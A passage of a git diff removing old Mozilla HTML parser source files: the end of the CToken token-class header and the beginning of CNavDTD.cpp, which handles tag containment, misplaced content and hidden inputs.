- * using the nsTokenAllocator object. nsTokenAllocator used to use
- * an arena-style allocator, but that is no longer necessary or helpful;
- * it now uses a trivial drop-in replacement for the arena-style
- * allocator called nsDummyAllocator, which just wraps malloc/free.
- */
-
-
-#ifndef CTOKEN__
-#define CTOKEN__
-
-#include "prtypes.h"
-#include "nsString.h"
-#include "nsError.h"
-
-class nsScanner;
-class nsTokenAllocator;
-
-/**
- * A trivial allocator. See the comment at the top of this file.
- */
-class nsDummyAllocator {
-public:
- void* Alloc(size_t aSize) { return malloc(aSize); }
- void Free(void* aPtr) { free(aPtr); }
-};
-
-enum eContainerInfo {
- eWellFormed,
- eMalformed,
- eFormUnknown
-};
-
-/**
- * Token objects represent sequences of characters as they
- * are consumed from the input stream (URL). While they're
- * pretty general in nature, we use subclasses (found in
- * nsHTMLTokens.h) to define <start>, </end>, <text>,
- * <comment>, <&entity>, <newline>, and <whitespace> tokens.
- *
- * @update gess 3/25/98
- */
-class CToken {
- public:
-
- enum eTokenOrigin {eSource,eResidualStyle};
-
- protected:
-
- // nsTokenAllocator should be the only class that tries to
- // allocate tokens from the heap.
- friend class nsTokenAllocator;
-
- /**
- *
- * @update harishd 08/01/00
- * @param aSize -
- * @param aArena - Allocate memory from this pool.
- */
- static void * operator new (size_t aSize, nsDummyAllocator& anArena) CPP_THROW_NEW
- {
- return anArena.Alloc(aSize);
- }
-
- /**
- * Hide operator delete; clients should use Destroy() instead.
- */
- static void operator delete (void*,size_t) {}
-
- protected:
- /**
- * destructor
- * @update gess5/11/98
- */
- virtual ~CToken();
-
- private:
- /**
- * Destroy a token.
- */
- static void Destroy(CToken* aToken, nsDummyAllocator& aArenaPool)
- {
- aToken->~CToken();
- aArenaPool.Free(aToken);
- }
-
- public:
- /**
- * Make a note on number of times you have been referenced
- * @update harishd 08/02/00
- */
- void AddRef() {
- ++mUseCount;
- NS_LOG_ADDREF(this, mUseCount, "CToken", sizeof(*this));
- }
-
- /**
- * Free yourself if no one is holding you.
- * @update harishd 08/02/00
- */
- void Release(nsDummyAllocator& aArenaPool) {
- --mUseCount;
- NS_LOG_RELEASE(this, mUseCount, "CToken");
- if (mUseCount==0)
- Destroy(this, aArenaPool);
- }
-
- /**
- * Default constructor
- * @update gess7/21/98
- */
- CToken(int32_t aTag=0);
-
- /**
- * Retrieve string value of the token
- * @update gess5/11/98
- * @return reference to string containing string value
- */
- virtual const nsSubstring& GetStringValue(void) = 0;
-
- /**
- * Get string of full contents, suitable for debug dump.
- * It should look exactly like the input source.
- * @update gess5/11/98
- * @return reference to string containing string value
- */
- virtual void GetSource(nsString& anOutputString);
-
- /** @update harishd 03/23/00
- * @return reference to string containing string value
- */
- virtual void AppendSourceTo(nsAString& anOutputString);
-
- /**
- * Sets the ordinal value of this token (not currently used)
- * @update gess5/11/98
- * @param value is the new ord value for this token
- */
- void SetTypeID(int32_t aValue) {
- mTypeID = aValue;
- }
-
- /**
- * Getter which retrieves the current ordinal value for this token
- * @update gess5/11/98
- * @return current ordinal value
- */
- virtual int32_t GetTypeID(void);
-
- /**
- * Getter which retrieves the current attribute count for this token
- * @update gess5/11/98
- * @return current attribute count
- */
- virtual int16_t GetAttributeCount(void);
-
- /**
- * Causes token to consume data from given scanner.
- * Note that behavior varies wildly between CToken subclasses.
- * @update gess5/11/98
- * @param aChar -- most recent char consumed
- * @param aScanner -- input source where token should get data
- * @return error code (0 means ok)
- */
- virtual nsresult Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode);
-
- /**
- * Getter which retrieves type of token
- * @update gess5/11/98
- * @return int containing token type
- */
- virtual int32_t GetTokenType(void);
-
- /**
- * For tokens who care, this can tell us whether the token is
- * well formed or not.
- *
- * @update gess 8/30/00
- * @return false; subclasses MUST override if they care.
- */
- virtual bool IsWellFormed(void) const {return false;}
-
- virtual bool IsEmpty(void) { return false; }
-
- /**
- * If aValue is TRUE then the token represents a short-hand tag
- */
- virtual void SetEmpty(bool aValue) { return ; }
-
- int32_t GetNewlineCount()
- {
- return mNewlineCount;
- }
-
- void SetNewlineCount(int32_t aCount)
- {
- mNewlineCount = aCount;
- }
-
- int32_t GetLineNumber()
- {
- return mLineNumber;
- }
-
- void SetLineNumber(int32_t aLineNumber)
- {
- mLineNumber = mLineNumber == 0 ? aLineNumber : mLineNumber;
- }
-
- void SetInError(bool aInError)
- {
- mInError = aInError;
- }
-
- bool IsInError()
- {
- return mInError;
- }
-
- void SetAttributeCount(int16_t aValue) { mAttrCount = aValue; }
-
- /**
- * perform self test.
- * @update gess5/11/98
- */
- virtual void SelfTest(void);
-
- static int GetTokenCount();
-
-
-
-protected:
- int32_t mTypeID;
- int32_t mUseCount;
- int32_t mNewlineCount;
- uint32_t mLineNumber : 31;
- uint32_t mInError : 1;
- int16_t mAttrCount;
-};
-
-
-
-#endif
-
-
diff --git a/parser/htmlparser/src/CNavDTD.cpp b/parser/htmlparser/src/CNavDTD.cpp
deleted file mode 100644
index b8dcda042..000000000
--- a/parser/htmlparser/src/CNavDTD.cpp
+++ /dev/null
@@ -1,2907 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set sw=2 ts=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-#include "mozilla/Util.h"
-
-#include "nsDebug.h"
-#include "nsIAtom.h"
-#include "CNavDTD.h"
-#include "nsHTMLTokens.h"
-#include "nsCRT.h"
-#include "nsParser.h"
-#include "nsIHTMLContentSink.h"
-#include "nsScanner.h"
-#include "prenv.h"
-#include "prtypes.h"
-#include "prio.h"
-#include "plstr.h"
-#include "nsDTDUtils.h"
-#include "nsHTMLTokenizer.h"
-#include "nsParserNode.h"
-#include "nsHTMLEntities.h"
-#include "nsLinebreakConverter.h"
-#include "nsIFormProcessor.h"
-#include "nsTArray.h"
-#include "nsReadableUtils.h"
-#include "nsUnicharUtils.h"
-#include "nsIServiceManager.h"
-#include "nsParserConstants.h"
-#include <algorithm>
-
-using namespace mozilla;
-
-/*
- * Ignore kFontStyle and kPhrase tags when the stack is deep, bug 58917.
- */
-#define FONTSTYLE_IGNORE_DEPTH (MAX_REFLOW_DEPTH * 80 / 100)
-#define PHRASE_IGNORE_DEPTH (MAX_REFLOW_DEPTH * 90 / 100)
-
-static NS_DEFINE_CID(kFormProcessorCID, NS_FORMPROCESSOR_CID);
-
-#ifdef DEBUG
-static const char kNullToken[] = "Error: Null token given";
-static const char kInvalidTagStackPos[] = "Error: invalid tag stack position";
-#endif
-
-#include "nsElementTable.h"
-
-// Some flags for use by the DTD.
-#define NS_DTD_FLAG_NONE 0x00000000
-#define NS_DTD_FLAG_HAS_OPEN_HEAD 0x00000001
-#define NS_DTD_FLAG_HAS_OPEN_BODY 0x00000002
-#define NS_DTD_FLAG_HAS_OPEN_FORM 0x00000004
-#define NS_DTD_FLAG_HAS_EXPLICIT_HEAD 0x00000008
-#define NS_DTD_FLAG_HAD_BODY 0x00000010
-#define NS_DTD_FLAG_HAD_FRAMESET 0x00000020
-#define NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE 0x00000040
-#define NS_DTD_FLAG_ALTERNATE_CONTENT 0x00000080 // NOFRAMES, NOSCRIPT
-#define NS_DTD_FLAG_MISPLACED_CONTENT 0x00000100
-#define NS_DTD_FLAG_IN_MISPLACED_CONTENT 0x00000200
-#define NS_DTD_FLAG_STOP_PARSING 0x00000400
-
-#define NS_DTD_FLAG_HAS_MAIN_CONTAINER (NS_DTD_FLAG_HAD_BODY | \
- NS_DTD_FLAG_HAD_FRAMESET)
-
-NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION(CNavDTD)
- NS_INTERFACE_MAP_ENTRY(nsIDTD)
- NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, nsIDTD)
-NS_INTERFACE_MAP_END
-
-NS_IMPL_CYCLE_COLLECTING_ADDREF(CNavDTD)
-NS_IMPL_CYCLE_COLLECTING_RELEASE(CNavDTD)
-
-NS_IMPL_CYCLE_COLLECTION_1(CNavDTD, mSink)
-
-CNavDTD::CNavDTD()
- : mMisplacedContent(0),
- mTokenAllocator(0),
- mBodyContext(new nsDTDContext()),
- mTempContext(0),
- mCountLines(true),
- mTokenizer(0),
- mDTDMode(eDTDMode_quirks),
- mDocType(eHTML_Quirks),
- mParserCommand(eViewNormal),
- mLineNumber(1),
- mOpenMapCount(0),
- mHeadContainerPosition(-1),
- mFlags(NS_DTD_FLAG_NONE)
-{
-}
-
-CNavDTD::~CNavDTD()
-{
- delete mBodyContext;
- delete mTempContext;
-}
-
-NS_IMETHODIMP
-CNavDTD::WillBuildModel(const CParserContext& aParserContext,
- nsITokenizer* aTokenizer,
- nsIContentSink* aSink)
-{
- nsresult result = NS_OK;
-
- mFilename = aParserContext.mScanner->GetFilename();
- mFlags = NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE;
- mLineNumber = 1;
- mDTDMode = aParserContext.mDTDMode;
- mParserCommand = aParserContext.mParserCommand;
- mMimeType = aParserContext.mMimeType;
- mDocType = aParserContext.mDocType;
- mTokenizer = aTokenizer;
- mBodyContext->SetNodeAllocator(&mNodeAllocator);
-
- if (!aParserContext.mPrevContext && aSink) {
-
- if (!mSink) {
- mSink = do_QueryInterface(aSink, &result);
- if (NS_FAILED(result)) {
- mFlags |= NS_DTD_FLAG_STOP_PARSING;
- return result;
- }
- }
-
- mFlags |= nsHTMLTokenizer::GetFlags(aSink);
-
- }
-
- return result;
-}
-
-NS_IMETHODIMP
-CNavDTD::BuildModel(nsITokenizer* aTokenizer,
- bool aCountLines,
- const nsCString*)
-{
- NS_PRECONDITION(mBodyContext != nullptr,
- "Create a context before calling build model");
-
- nsresult result = NS_OK;
-
- if (!aTokenizer) {
- return NS_OK;
- }
-
- nsITokenizer* const oldTokenizer = mTokenizer;
-
- mCountLines = aCountLines;
- mTokenizer = aTokenizer;
- mTokenAllocator = mTokenizer->GetTokenAllocator();
-
- if (!mSink) {
- return (mFlags & NS_DTD_FLAG_STOP_PARSING)
- ? NS_ERROR_HTMLPARSER_STOPPARSING
- : result;
- }
-
- if (mBodyContext->GetCount() == 0) {
- CToken* tempToken;
- if (ePlainText == mDocType) {
- tempToken =
- mTokenAllocator->CreateTokenOfType(eToken_start, eHTMLTag_pre);
- if (tempToken) {
- mTokenizer->PushTokenFront(tempToken);
- }
- }
-
- // Always open a body if frames are disabled.
- if (!(mFlags & NS_IPARSER_FLAG_FRAMES_ENABLED)) {
- tempToken =
- mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_body,
- NS_LITERAL_STRING("body"));
- if (tempToken) {
- mTokenizer->PushTokenFront(tempToken);
- }
- }
-
- // If the content model is empty, then begin by opening <html>.
- CStartToken* theToken = (CStartToken*)mTokenizer->GetTokenAt(0);
- if (theToken) {
- eHTMLTags theTag = (eHTMLTags)theToken->GetTypeID();
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
- if (theTag != eHTMLTag_html || theType != eToken_start) {
- tempToken =
- mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_html,
- NS_LITERAL_STRING("html"));
- if (tempToken) {
- mTokenizer->PushTokenFront(tempToken);
- }
- }
- } else {
- tempToken =
- mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_html,
- NS_LITERAL_STRING("html"));
- if (tempToken) {
- mTokenizer->PushTokenFront(tempToken);
- }
- }
- }
-
- while (NS_SUCCEEDED(result)) {
- if (!(mFlags & NS_DTD_FLAG_STOP_PARSING)) {
- CToken* theToken = mTokenizer->PopToken();
- if (!theToken) {
- break;
- }
- result = HandleToken(theToken);
- } else {
- result = NS_ERROR_HTMLPARSER_STOPPARSING;
- break;
- }
-
- if (NS_ERROR_HTMLPARSER_INTERRUPTED == mSink->DidProcessAToken()) {
- // The content sink has requested that DTD interrupt processing tokens
- // We need to make sure that an interruption does not override
- // a request to block the parser.
- if (NS_SUCCEEDED(result)) {
- result = NS_ERROR_HTMLPARSER_INTERRUPTED;
- break;
- }
- }
- }
-
- mTokenizer = oldTokenizer;
- return result;
-}
-
-nsresult
-CNavDTD::BuildNeglectedTarget(eHTMLTags aTarget,
- eHTMLTokenTypes aType)
-{
- NS_ASSERTION(mTokenizer, "tokenizer is null! unable to build target.");
- NS_ASSERTION(mTokenAllocator, "unable to create tokens without an allocator.");
- if (!mTokenizer || !mTokenAllocator) {
- return NS_OK;
- }
-
- CToken* target = mTokenAllocator->CreateTokenOfType(aType, aTarget);
- NS_ENSURE_TRUE(target, NS_ERROR_OUT_OF_MEMORY);
- mTokenizer->PushTokenFront(target);
- // Also, BuildModel
- // doesn't seem to care about the charset, and at this point we have no idea
- // what the charset was, so 0 can and must suffice.
- return BuildModel(mTokenizer, mCountLines, 0);
-}
-
-NS_IMETHODIMP
-CNavDTD::DidBuildModel(nsresult anErrorCode)
-{
- nsresult result = NS_OK;
-
- if (mSink) {
- if (NS_OK == anErrorCode) {
- if (!(mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER)) {
- // This document is not a frameset document, however, it did not contain
- // a body tag either. So, make one!. Note: Body tag is optional per spec..
- // Also note: We ignore the return value of BuildNeglectedTarget, we
- // can't reasonably respond to errors (or requests to block) at this
- // point in the parsing process.
- BuildNeglectedTarget(eHTMLTag_body, eToken_start);
- }
- if (mFlags & NS_DTD_FLAG_MISPLACED_CONTENT) {
- // Looks like the misplaced contents are not processed yet.
- // Here is our last chance to handle the misplaced content.
-
- // Keep track of the top index.
- int32_t topIndex = mBodyContext->mContextTopIndex;
-
- // Loop until we've really consumed all of our misplaced content.
- do {
- mFlags &= ~NS_DTD_FLAG_MISPLACED_CONTENT;
-
- // mContextTopIndex refers to the misplaced content's legal parent index.
- result = HandleSavedTokens(mBodyContext->mContextTopIndex);
- if (NS_FAILED(result)) {
- NS_ERROR("Bug in the DTD");
- break;
- }
-
- // If we start handling misplaced content while handling misplaced
- // content, mContextTopIndex gets modified. However, this new index
- // necessarily points to the middle of a closed tag (since we close
- // new tags after handling the misplaced content). So we restore the
- // insertion point after every iteration.
- mBodyContext->mContextTopIndex = topIndex;
- } while (mFlags & NS_DTD_FLAG_MISPLACED_CONTENT);
-
- mBodyContext->mContextTopIndex = -1;
- }
-
- // Now let's disable style handling to save time when closing remaining
- // stack members.
- mFlags &= ~NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE;
- while (mBodyContext->GetCount() > 0) {
- result = CloseContainersTo(mBodyContext->Last(), false);
- NS_ENSURE_SUCCESS(result, result);
- }
- } else {
- // If you're here, then an error occurred, but we still have nodes on the stack.
- // At a minimum, we should grab the nodes and recycle them.
- // Just to be correct, we'll also recycle the nodes.
- while (mBodyContext->GetCount() > 0) {
- nsEntryStack* theChildStyles = 0;
- nsCParserNode* theNode = mBodyContext->Pop(theChildStyles);
- IF_DELETE(theChildStyles, &mNodeAllocator);
- IF_FREE(theNode, &mNodeAllocator);
- }
- }
-
- // Now make sure the misplaced content list is empty,
- // by forcefully recycling any tokens we might find there.
- CToken* theToken = 0;
- while ((theToken = (CToken*)mMisplacedContent.Pop())) {
- IF_FREE(theToken, mTokenAllocator);
- }
- }
-
- return result;
-}
-
-NS_IMETHODIMP_(void)
-CNavDTD::Terminate()
-{
- mFlags |= NS_DTD_FLAG_STOP_PARSING;
-}
-
-
-NS_IMETHODIMP_(int32_t)
-CNavDTD::GetType()
-{
- return NS_IPARSER_FLAG_HTML;
-}
-
-NS_IMETHODIMP_(nsDTDMode)
-CNavDTD::GetMode() const
-{
- return mDTDMode;
-}
-
-/**
- * Text and some tags require a body when they're added, this function returns
- * true for those tags.
- *
- * @param aToken The current token that we care about.
- * @param aTokenizer A tokenizer that we can get the tags attributes off of.
- * @return true if aToken does indeed force the body to open.
- */
-static bool
-DoesRequireBody(CToken* aToken, nsITokenizer* aTokenizer)
-{
- bool result = false;
-
- if (aToken) {
- eHTMLTags theTag = (eHTMLTags)aToken->GetTypeID();
- if (gHTMLElements[theTag].HasSpecialProperty(kRequiresBody)) {
- if (theTag == eHTMLTag_input) {
- // IE & Nav4x opens up a body for type=text - Bug 66985
- // XXXbz but we don't want to open one for <input> with no
- // type attribute? That's pretty whack.
- int32_t ac = aToken->GetAttributeCount();
- for(int32_t i = 0; i < ac; ++i) {
- CAttributeToken* attr = static_cast<CAttributeToken*>
- (aTokenizer->GetTokenAt(i));
- const nsSubstring& name = attr->GetKey();
- const nsAString& value = attr->GetValue();
- // XXXbz note that this stupid case-sensitive comparison is
- // actually depended on by sites...
- if ((name.EqualsLiteral("type") ||
- name.EqualsLiteral("TYPE"))
- &&
- !(value.EqualsLiteral("hidden") ||
- value.EqualsLiteral("HIDDEN"))) {
- result = true;
- break;
- }
- }
- } else {
- result = true;
- }
- }
- }
-
- return result;
-}
-
-static bool
-ValueIsHidden(const nsAString& aValue)
-{
- // Having to deal with whitespace here sucks, but we have to match
- // what the content sink does.
- nsAutoString str(aValue);
- str.Trim("\n\r\t\b");
- return str.LowerCaseEqualsLiteral("hidden");
-}
-
-// Check whether aToken corresponds to a <input type="hidden"> tag. The token
-// must be a start tag token for an <input>. This must be called at a point
-// when all the attributes for the input are still in the tokenizer.
-static bool
-IsHiddenInput(CToken* aToken, nsITokenizer* aTokenizer)
-{
- NS_PRECONDITION(eHTMLTokenTypes(aToken->GetTokenType()) == eToken_start,
- "Must be start token");
- NS_PRECONDITION(eHTMLTags(aToken->GetTypeID()) == eHTMLTag_input,
- "Must be <input> tag");
-
- int32_t ac = aToken->GetAttributeCount();
- NS_ASSERTION(ac <= aTokenizer->GetCount(),
- "Not enough tokens in the tokenizer");
- // But we don't really trust ourselves to get that right
- ac = std::min(ac, aTokenizer->GetCount());
-
- for (int32_t i = 0; i < ac; ++i) {
- NS_ASSERTION(eHTMLTokenTypes(aTokenizer->GetTokenAt(i)->GetTokenType()) ==
- eToken_attribute, "Unexpected token type");
- // Again, we're not sure we actually manage to guarantee that
- if (eHTMLTokenTypes(aTokenizer->GetTokenAt(i)->GetTokenType()) !=
- eToken_attribute) {
- break;
- }
-
- CAttributeToken* attrToken =
- static_cast<CAttributeToken*>(aTokenizer->GetTokenAt(i));
- if (!attrToken->GetKey().LowerCaseEqualsLiteral("type")) {
- continue;
- }
-
- return ValueIsHidden(attrToken->GetValue());
- }
-
- return false;
-}
-
-/**
- * Returns whether or not there is a tag of type aType open on aContext.
- */
-static bool
-HasOpenTagOfType(int32_t aType, const nsDTDContext& aContext)
-{
- int32_t count = aContext.GetCount();
-
- while (--count >= 0) {
- if (gHTMLElements[aContext.TagAt(count)].IsMemberOf(aType)) {
- return true;
- }
- }
-
- return false;
-}
-
-nsresult
-CNavDTD::HandleToken(CToken* aToken)
-{
- if (!aToken) {
- return NS_OK;
- }
-
- nsresult result = NS_OK;
- CHTMLToken* theToken = static_cast<CHTMLToken*>(aToken);
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
- eHTMLTags theTag = (eHTMLTags)theToken->GetTypeID();
-
- aToken->SetLineNumber(mLineNumber);
-
- if (mCountLines) {
- mLineNumber += aToken->GetNewlineCount();
- }
-
- if (mFlags & NS_DTD_FLAG_MISPLACED_CONTENT) {
- // Included TD & TH to fix Bug# 20797
- static eHTMLTags gLegalElements[] = {
- eHTMLTag_table, eHTMLTag_thead, eHTMLTag_tbody,
- eHTMLTag_tr, eHTMLTag_td, eHTMLTag_th, eHTMLTag_tfoot
- };
- // Don't even try processing misplaced tokens if we're already
- // handling misplaced content. See bug 269095
- if (mFlags & NS_DTD_FLAG_IN_MISPLACED_CONTENT) {
- PushIntoMisplacedStack(theToken);
- return NS_OK;
- }
-
- eHTMLTags theParentTag = mBodyContext->Last();
- if (FindTagInSet(theTag, gLegalElements,
- ArrayLength(gLegalElements)) ||
- (gHTMLElements[theParentTag].CanContain(theTag, mDTDMode) &&
- // Here's a problem. If theTag is legal in here, we don't move it
- // out. So if we're moving stuff out of here, the parent of theTag
- // gets closed at this point. But some things are legal
- // _everywhere_ and hence would effectively close out misplaced
- // content in tables. This is undesirable, so treat them as
- // illegal here so they'll be shipped out with their parents and
- // siblings. See bug 40855 for an explanation (that bug was for
- // comments, but the same issues arise with whitespace, newlines,
- // noscript, etc). Script is special, though. Shipping it out
- // breaks document.write stuff. See bug 243064.
- (!gHTMLElements[theTag].HasSpecialProperty(kLegalOpen) ||
- theTag == eHTMLTag_script)) ||
- (theTag == eHTMLTag_input && theType == eToken_start &&
- FindTagInSet(theParentTag, gLegalElements,
- ArrayLength(gLegalElements)) &&
- IsHiddenInput(theToken, mTokenizer))) {
- // Reset the state since all the misplaced tokens are about to get
- // handled.
- mFlags &= ~NS_DTD_FLAG_MISPLACED_CONTENT;
-
- result = HandleSavedTokens(mBodyContext->mContextTopIndex);
- NS_ENSURE_SUCCESS(result, result);
-
- mBodyContext->mContextTopIndex = -1;
- } else {
- PushIntoMisplacedStack(theToken);
- return result;
- }
- }
-
- /*
- * This section of code is used to "move" misplaced content from one location
- * in our document model to another. (Consider what would happen if we found a
- * <P> tag in the head.) To move content, we throw it onto the
- * misplacedcontent deque until we can deal with it.
- */
- switch(theTag) {
- case eHTMLTag_html:
- case eHTMLTag_noframes:
- case eHTMLTag_script:
- case eHTMLTag_doctypeDecl:
- case eHTMLTag_instruction:
- break;
-
- default:
- if (!gHTMLElements[eHTMLTag_html].SectionContains(theTag, false)) {
- if (!(mFlags & (NS_DTD_FLAG_HAS_MAIN_CONTAINER |
- NS_DTD_FLAG_ALTERNATE_CONTENT))) {
- // For bug examples from this code, see bugs: 18928, 20989.
- // At this point we know the body/frameset aren't open.
- // If the child belongs in the head, then handle it (which may open
- // the head); otherwise, push it onto the misplaced stack.
-
- bool isExclusive = false;
- bool theChildBelongsInHead =
- gHTMLElements[eHTMLTag_head].IsChildOfHead(theTag, isExclusive);
- if (theChildBelongsInHead &&
- !isExclusive &&
- !gHTMLElements[theTag].HasSpecialProperty(kPreferHead)) {
- if (mMisplacedContent.GetSize() == 0 &&
- (!gHTMLElements[theTag].HasSpecialProperty(kPreferBody) ||
- (mFlags & NS_DTD_FLAG_HAS_EXPLICIT_HEAD))) {
- // This tag can either be in the body or the head. Since
- // there is no indication that the body should be open,
- // put this token in the head.
- break;
- }
-
- // Otherwise, we have received some indication that the body is
- // "open", so push this token onto the misplaced content stack.
- theChildBelongsInHead = false;
- }
-
- if (!theChildBelongsInHead) {
- eHTMLTags top = mBodyContext->Last();
- NS_ASSERTION(top != eHTMLTag_userdefined,
- "Userdefined tags should act as leaves in the head");
- if (top != eHTMLTag_html && top != eHTMLTag_head &&
- gHTMLElements[top].CanContain(theTag, mDTDMode)) {
- // Some tags (such as <object> and <script>) are opened in the
- // head and allow other non-head content to be children.
- // Note: Userdefined tags in the head act like leaves.
- break;
- }
-
- // If you're here then we found a child of the body that was out of
- // place. We're going to move it to the body by storing it
- // temporarily on the misplaced stack. However, in quirks mode, a
- // few tags request, ambiguosly, for a BODY. - Bugs 18928, 24204.-
- PushIntoMisplacedStack(aToken);
-
- if (IsAlternateTag(theTag)) {
- // These tags' contents are consumed as CDATA. If we simply
- // pushed them on the misplaced content stack, the CDATA
- // contents would force us to open a body, which could be
- // wrong. So we collect the whole tag as misplaced in one
- // gulp. Note that the tokenizer guarantees that there will
- // be an end tag.
- CToken *current = aToken;
- while (current->GetTokenType() != eToken_end ||
- current->GetTypeID() != theTag) {
- current = static_cast<CToken *>(mTokenizer->PopToken());
- NS_ASSERTION(current, "The tokenizer is not creating good "
- "alternate tags");
- PushIntoMisplacedStack(current);
- }
-
- // XXX Add code to also collect incorrect attributes on the
- // end tag.
- }
-
- if (DoesRequireBody(aToken, mTokenizer)) {
- CToken* theBodyToken =
- mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_body,
- NS_LITERAL_STRING("body"));
- result = HandleToken(theBodyToken);
- }
- return result;
- }
- }
- }
- }
-
- if (theToken) {
- switch (theType) {
- case eToken_text:
- case eToken_start:
- case eToken_whitespace:
- case eToken_newline:
- result = HandleStartToken(theToken);
- break;
-
- case eToken_end:
- result = HandleEndToken(theToken);
- break;
-
- case eToken_cdatasection:
- case eToken_comment:
- case eToken_markupDecl:
- result = HandleCommentToken(theToken);
- break;
-
- case eToken_entity:
- result = HandleEntityToken(theToken);
- break;
-
- case eToken_attribute:
- result = HandleAttributeToken(theToken);
- break;
-
- case eToken_instruction:
- result = HandleProcessingInstructionToken(theToken);
- break;
-
- case eToken_doctypeDecl:
- result = HandleDocTypeDeclToken(theToken);
- break;
-
- default:
- break;
- }
-
- IF_FREE(theToken, mTokenAllocator);
- if (result == NS_ERROR_HTMLPARSER_STOPPARSING) {
- mFlags |= NS_DTD_FLAG_STOP_PARSING;
- } else if (NS_FAILED(result) && result != NS_ERROR_HTMLPARSER_BLOCK) {
- result = NS_OK;
- }
- }
-
- return result;
-}
-
-nsresult
-CNavDTD::DidHandleStartTag(nsIParserNode& aNode, eHTMLTags aChildTag)
-{
- nsresult result = NS_OK;
-
- switch (aChildTag) {
- case eHTMLTag_pre:
- case eHTMLTag_listing:
- {
- // Skip the 1st newline inside PRE and LISTING unless this is a
- // plain text doc (for which we pushed a PRE in CNavDTD::BuildModel).
-
- // XXX This code is incorrect in the face of misplaced <pre> and
- // <listing> tags (as direct children of <table>).
- CToken* theNextToken = mTokenizer->PeekToken();
- if (ePlainText != mDocType && theNextToken) {
- eHTMLTokenTypes theType = eHTMLTokenTypes(theNextToken->GetTokenType());
- if (eToken_newline == theType) {
- if (mCountLines) {
- mLineNumber += theNextToken->GetNewlineCount();
- }
- theNextToken = mTokenizer->PopToken();
- IF_FREE(theNextToken, mTokenAllocator); // fix for Bug 29379
- }
- }
- }
- break;
-
- default:
- break;
- }
-
- return result;
-}
-
-int32_t
-CNavDTD::LastOf(eHTMLTags aTagSet[], int32_t aCount) const
-{
- for (int32_t theIndex = mBodyContext->GetCount() - 1; theIndex >= 0;
- --theIndex) {
- if (FindTagInSet((*mBodyContext)[theIndex], aTagSet, aCount)) {
- return theIndex;
- }
- }
-
- return kNotFound;
-}
-
-static bool
-CanBeContained(eHTMLTags aChildTag, nsDTDContext& aContext)
-{
- /* # Interesting test cases: Result:
- * 1. <UL><LI>..<B>..<LI> inner <LI> closes outer <LI>
- * 2. <CENTER><DL><DT><A><CENTER> allow nested <CENTER>
- * 3. <TABLE><TR><TD><TABLE>... allow nested <TABLE>
- * 4. <FRAMESET> ... <FRAMESET>
- */
- bool result = true;
- int32_t theCount = aContext.GetCount();
-
- if (0 < theCount) {
- const TagList* theRootTags = gHTMLElements[aChildTag].GetRootTags();
- const TagList* theSpecialParents =
- gHTMLElements[aChildTag].GetSpecialParents();
-
- if (theRootTags) {
- int32_t theRootIndex = LastOf(aContext, *theRootTags);
- int32_t theSPIndex = theSpecialParents
- ? LastOf(aContext, *theSpecialParents)
- : kNotFound;
- int32_t theChildIndex =
- nsHTMLElement::GetIndexOfChildOrSynonym(aContext, aChildTag);
- int32_t theTargetIndex = (theRootIndex > theSPIndex)
- ? theRootIndex
- : theSPIndex;
-
- if (theTargetIndex == theCount-1 ||
- (theTargetIndex == theChildIndex &&
- gHTMLElements[aChildTag].CanContainSelf())) {
- result = true;
- } else {
- result = false;
-
- static eHTMLTags gTableElements[] = { eHTMLTag_td, eHTMLTag_th };
-
- int32_t theIndex = theCount - 1;
- while (theChildIndex < theIndex) {
- eHTMLTags theParentTag = aContext.TagAt(theIndex--);
- if (gHTMLElements[theParentTag].IsMemberOf(kBlockEntity) ||
- gHTMLElements[theParentTag].IsMemberOf(kHeading) ||
- gHTMLElements[theParentTag].IsMemberOf(kPreformatted) ||
- gHTMLElements[theParentTag].IsMemberOf(kFormControl) || //fixes bug 44479
- gHTMLElements[theParentTag].IsMemberOf(kList)) {
- if (!HasOptionalEndTag(theParentTag)) {
- result = true;
- break;
- }
- } else if (FindTagInSet(theParentTag, gTableElements,
- ArrayLength(gTableElements))) {
- // Added this to catch a case we missed; bug 57173.
- result = true;
- break;
- }
- }
- }
- }
- }
-
- return result;
-}
-
-enum eProcessRule { eNormalOp, eLetInlineContainBlock };
-
-nsresult
-CNavDTD::HandleDefaultStartToken(CToken* aToken, eHTMLTags aChildTag,
- nsCParserNode *aNode)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
-
- nsresult result = NS_OK;
- bool theChildIsContainer = nsHTMLElement::IsContainer(aChildTag);
-
- // Client of parser is spefically trying to parse a fragment that
- // may lack required context. Suspend containment rules if so.
- if (mParserCommand != eViewFragment) {
- bool theChildAgrees = true;
- int32_t theIndex = mBodyContext->GetCount();
- int32_t theParentContains = 0;
-
- do {
- eHTMLTags theParentTag = mBodyContext->TagAt(--theIndex);
- if (theParentTag == eHTMLTag_userdefined) {
- continue;
- }
-
- // Figure out whether this is a hidden input inside a
- // table/tbody/thead/tfoot/tr
- static eHTMLTags sTableElements[] = {
- eHTMLTag_table, eHTMLTag_thead, eHTMLTag_tbody,
- eHTMLTag_tr, eHTMLTag_tfoot
- };
-
- bool isHiddenInputInsideTableElement = false;
- if (aChildTag == eHTMLTag_input &&
- FindTagInSet(theParentTag, sTableElements,
- ArrayLength(sTableElements))) {
- int32_t attrCount = aNode->GetAttributeCount();
- for (int32_t attrIndex = 0; attrIndex < attrCount; ++attrIndex) {
- const nsAString& key = aNode->GetKeyAt(attrIndex);
- if (key.LowerCaseEqualsLiteral("type")) {
- isHiddenInputInsideTableElement =
- ValueIsHidden(aNode->GetValueAt(attrIndex));
- break;
- }
- }
- }
-
- // Precompute containment, and pass it to CanOmit()...
- theParentContains =
